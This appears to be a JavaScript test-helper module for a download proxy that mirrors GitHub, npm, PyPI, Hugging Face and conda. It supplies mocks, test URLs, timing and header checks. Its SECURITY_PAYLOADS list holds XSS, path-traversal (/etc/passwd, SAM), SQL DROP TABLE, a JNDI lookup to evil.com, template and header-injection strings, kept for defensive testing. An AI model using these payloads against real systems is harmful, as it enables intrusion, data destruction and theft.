/** * Test utilities and helper functions */ /** * Create a mock request with default options * @param {string} url - Request URL * @param {Object} options - Request options * @returns {Request} Mock request object */ export function createMockRequest(url, options = {}) { const defaultOptions = { method: 'GET', headers: { 'User-Agent': 'Mozilla/5.0 (Test)', Accept: '*/*' } }; return new Request(url, { ...defaultOptions, ...options }); } /** * Create a mock response with default options * @param {string} body - Response body * @param {Object} options - Response options * @returns {Response} Mock response object */ export function createMockResponse(body = 'OK', options = {}) { const defaultOptions = { status: 200, statusText: 'OK', headers: { 'Content-Type': 'text/plain' } }; return new Response(body, { ...defaultOptions, ...options }); } /** * Create a Git request for testing * @param {string} url - Git repository URL * @param {string} service - Git service (upload-pack or receive-pack) * @returns {Request} Git request object */ export function createGitRequest(url, service = 'git-upload-pack') { const gitUrl = url.includes('?') ? `${url}&service=${service}` : `${url}?service=${service}`; return new Request(gitUrl, { method: service === 'git-upload-pack' ? 'GET' : 'POST', headers: { 'User-Agent': 'git/2.34.1', 'Git-Protocol': 'version=2', ...(service !== 'git-upload-pack' && { 'Content-Type': `application/x-${service}-request` }) } }); } /** * Generate test URLs for different platforms * @param {string} platform - Platform identifier (gh, gl, hf, etc.) * @param {string} path - Resource path * @returns {string} Complete test URL */ export function generateTestUrl(platform, path) { const baseUrl = 'https://example.com'; return `${baseUrl}/${platform}/${path}`; } /** * Common test URLs for different platforms */ export const TEST_URLS = { github: { file: 'https://example.com/gh/microsoft/vscode/blob/main/package.json', raw: 'https://example.com/gh/microsoft/vscode/raw/main/README.md', release: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip', archive: 'https://example.com/gh/microsoft/vscode/archive/refs/heads/main.zip', git: 'https://example.com/gh/microsoft/vscode.git' }, gitlab: { file: 'https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json', raw: 'https://example.com/gl/gitlab-org/gitlab/-/raw/master/README.md', archive: 'https://example.com/gl/gitlab-org/gitlab/-/archive/master/gitlab-master.zip', git: 'https://example.com/gl/gitlab-org/gitlab.git' }, huggingface: { model: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json', dataset: 'https://example.com/hf/datasets/squad/resolve/main/train.json', file: 'https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/pytorch_model.bin' }, npm: { package: 'https://example.com/npm/react', tarball: 'https://example.com/npm/react/-/react-18.2.0.tgz', scoped: 'https://example.com/npm/@types/node', // Test case for the specific npm package that caused the issue npmPackage: 'https://example.com/npm/npm', npmTarball: 'https://example.com/npm/npm/-/npm-11.5.1.tgz' }, pypi: { simple: 'https://example.com/pypi/simple/requests/', package: 'https://example.com/pypi/packages/source/r/requests/requests-2.31.0.tar.gz', wheel: 'https://example.com/pypi/packages/py3/r/requests/requests-2.31.0-py3-none-any.whl' }, conda: { main: 'https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda', community: 'https://example.com/conda/community/conda-forge/linux-64/repodata.json', repodata: 'https://example.com/conda/pkgs/main/linux-64/repodata.json' } }; /** * Security test payloads */ export const SECURITY_PAYLOADS = { xss: [ '', 'javascript:alert(1)', '">', "';alert(1);//" ], pathTraversal: [ '../../../etc/passwd', '..%2F..%2F..%2Fetc%2Fpasswd', '..\\..\\..\\windows\\system32\\config\\sam', '%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd' ], injection: ["'; DROP TABLE users; --", '${jndi:ldap://evil.com}', '{{7*7}}', '<%=7*7%>'], headerInjection: [ 'value\r\nX-Injected: malicious', 'value\nX-Injected: malicious', 'value\r\n\r\n' ] }; /** * Performance test utilities */ export class PerformanceTestHelper { constructor() { this.measurements = []; } /** * Measure execution time of an async function * @param {Function} fn - Async function to measure * @param {string} name - Measurement name * @returns {Promise} Function result */ async measure(fn, name = 'operation') { const start = performance.now(); const result = await fn(); const end = performance.now(); this.measurements.push({ name, duration: end - start, timestamp: Date.now() }); return result; } /** * Get all measurements * @returns {Array} Array of measurements */ getMeasurements() { return [...this.measurements]; } /** * Get average duration for a specific measurement name * @param {string} name - Measurement name * @returns {number} Average duration in milliseconds */ getAverageDuration(name) { const filtered = this.measurements.filter(m => m.name === name); if (filtered.length === 0) return 0; const total = filtered.reduce((sum, m) => sum + m.duration, 0); return total / filtered.length; } /** * Clear all measurements */ clear() { this.measurements = []; } } /** * Mock fetch function for testing * @param {string} url - Request URL * @param {Object} options - Fetch options * @returns {Promise} Mock response */ export function mockFetch(url, options = {}) { // Simulate network delay return new Promise(resolve => { setTimeout(() => { if (url.includes('error')) { resolve(createMockResponse('Server Error', { status: 500 })); } else if (url.includes('notfound')) { resolve(createMockResponse('Not Found', { status: 404 })); } else { resolve(createMockResponse('Mock Response', { status: 200 })); } }, 10); }); } /** * Create a mock npm registry response * @param {string} packageName - Package name * @param {string} version - Package version * @returns {Object} Mock npm registry response */ export function createMockNpmRegistryResponse(packageName, version = '1.0.0') { return { name: packageName, versions: { [version]: { name: packageName, version: version, dist: { tarball: `https://registry.npmjs.org/${packageName}/-/${packageName}-${version}.tgz`, shasum: 'mock-shasum', integrity: 'mock-integrity' } } }, 'dist-tags': { latest: version } }; } /** * Validate response headers for security * @param {Response} response - Response to validate * @returns {Object} Validation results */ export function validateSecurityHeaders(response) { const requiredHeaders = [ 'Strict-Transport-Security', 'X-Frame-Options', 'X-XSS-Protection', 'Content-Security-Policy', 'Referrer-Policy' ]; const results = { passed: true, missing: [], present: [] }; requiredHeaders.forEach(header => { if (response.headers.has(header)) { results.present.push(header); } else { results.missing.push(header); results.passed = false; } }); return results; } /** * Generate random test data */ export const TestDataGenerator = { /** * Generate random string * @param {number} length - String length * @returns {string} Random string */ randomString(length = 10) { const chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; let result = ''; for (let i = 0; i < length; i++) { result += chars.charAt(Math.floor(Math.random() * chars.length)); } return result; }, /** * Generate random GitHub repository path * @returns {string} Repository path */ githubRepo() { const users = ['microsoft', 'google', 'facebook', 'apple', 'amazon']; const repos = ['vscode', 'react', 'angular', 'vue', 'node']; const user = users[Math.floor(Math.random() * users.length)]; const repo = repos[Math.floor(Math.random() * repos.length)]; return `${user}/${repo}`; }, /** * Generate random file path * @returns {string} File path */ filePath() { const dirs = ['src', 'lib', 'test', 'docs', 'config']; const files = ['index.js', 'main.py', 'README.md', 'package.json', 'config.yml']; const dir = dirs[Math.floor(Math.random() * dirs.length)]; const file = files[Math.floor(Math.random() * files.length)]; return `${dir}/${file}`; } }; /** * Test timeout helper * @param {number} ms - Timeout in milliseconds * @returns {Promise} Promise that rejects after timeout */ export function timeout(ms) { return new Promise((_, reject) => { setTimeout(() => reject(new Error(`Test timed out after ${ms}ms`)), ms); }); } /** * Wait for a specified amount of time * @param {number} ms - Time to wait in milliseconds * @returns {Promise} Promise that resolves after the specified time */ export function wait(ms) { return new Promise(resolve => setTimeout(resolve, ms)); }